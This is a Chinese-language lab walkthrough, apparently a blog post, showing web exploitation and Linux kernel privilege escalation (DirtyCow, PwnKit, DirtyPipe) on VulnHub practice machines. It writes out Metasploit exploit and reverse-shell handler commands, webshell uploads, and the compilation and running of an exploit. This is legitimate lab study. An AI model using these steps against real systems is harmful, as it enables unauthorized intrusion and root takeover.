当前位置: 首页 > article >正文

Linux权限提升-内核溢出

一:Web到Linux-内核溢出Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

1.信息收集:探测⽬标ip及开发端⼝

2.Web漏洞利⽤:

查找drupal相关漏洞
search drupal
# 进⾏漏洞利⽤
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.   .  
set rport 1898
run

 

3.内核提权:

# 上传内核漏洞检测脚本
upload /root/linux-exploit-suggester.sh /tmp/1.sh
# 进⼊shell,并执⾏提权辅助脚本
shell
cd /tmp
chmod +x 1.sh
./1.sh

 

 https://github.com/gbonacini/CVE-2016-5195

4.发现提权漏洞,上传提权利⽤程序dcow.cpp到服务器
 exit
 upload /root/dcow.cpp /tmp/dcow.cpp 

5. 编译漏洞利⽤程序成功后会在当前⽬录⽣成dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
ls
# 由于本身的终端问题,所以使⽤python终端
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
# 漏洞利⽤成功后使⽤root⽤户密码dirtyCowFun进⾏登录即可
su root
whoami

二:Web到Linux-内核溢出Pwnkit 

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

1.信息收集:探测⽬标ip及开发端⼝

2.Web漏洞利⽤:

重置管理密码,注册新账号,使⽤注册⽤户登录,并重置密码,

使用Bp抓包进行修改管理员密码进入后台 ,上传一句话木马进入

3. 反弹MSF

将内核检测脚本和综合检测脚本都上传到⽬标服务器的/tmp⽬录

4.启动msf
└─# msfdb run
# 监听本地6666端⼝等待php反弹后⻔连接
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666(端口自己设置)
run

 

5.内核提权

通过xftp8上传两个文件linux-exploit-suggester.sh      linpeas.sh

进⼊shell
shell
cd /tmp
chmod +x linpeas.sh
chmod +x linux-exploit-suggester.sh

运行两个文件

 查找漏洞利⽤模块  使⽤提权漏洞利⽤模块   在获取的shell中查看当前⽤户权限

 

Web到Linux-内核溢出-DirtyPipe

复现环境:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/ 

1.信息收集:

 

2.Web漏洞利⽤

 ⽬录扫描  dirb  http://192.168.   . 

访问http://192.168.   .   /graffiti.php进⾏功能测试并抓包

3. 写⼊⼀句话⽊⻢发送恶意代码,并使⽤哥斯拉连接

4. 反弹MSF

5. 内核提权

上传提权内核漏洞检测辅助脚本

进⼊shell进⾏提权漏洞检测
shell
cd /tmp
chmod +x 1.sh
./1.sh

 


http://www.kler.cn/a/547123.html

相关文章:

  • 华象新闻 | 2月20日前谨慎升级 PostgreSQL 版本
  • 策略模式-小结
  • DeepSeek-R1私有化部署教程 | Linux服务器搭建AI大语言模型
  • 【Unity】 HTFramework框架(六十)Assistant助手(在Unity中接入DeepSeek等AI语言大模型)
  • 【ARM】JTAG接口介绍
  • 图的邻接表实现代解析【数据结构】
  • 深度整理总结MySQL——Expalin指南(二)
  • WEB安全--SQL注入--INTO OUTFILE
  • 03-微服务01(服务拆分、RestTemplate,nacos、OpenFeign、日志)
  • 软考-系统架构设计师(月更版)
  • 青少年编程与数学 02-009 Django 5 Web 编程 12课题、表单处理
  • 大载重无人机树木、竹子山林吊运技术详解
  • 【Oracle篇】浅谈执行计划中的多表连接(含内连接、外连接、半连接、反连接、笛卡尔连接五种连接方式和嵌套、哈希、排序合并三种连接算法)
  • iOS主要知识点梳理回顾-4-运行时类和实例的操作
  • Maven 引入外部依赖
  • 用什么办法能实现ubuntu里面运行的自己开发的python程序能自动升级。
  • MySQL数据库入门到大蛇尚硅谷宋红康老师笔记 基础篇 part 13
  • 26、深度学习-自学之路-NLP自然语言处理-理解加程序,怎么把现实的词翻译给机器识别。
  • 深入理解 Rust 的迭代器:从基础到高级
  • 【leetcode】T3169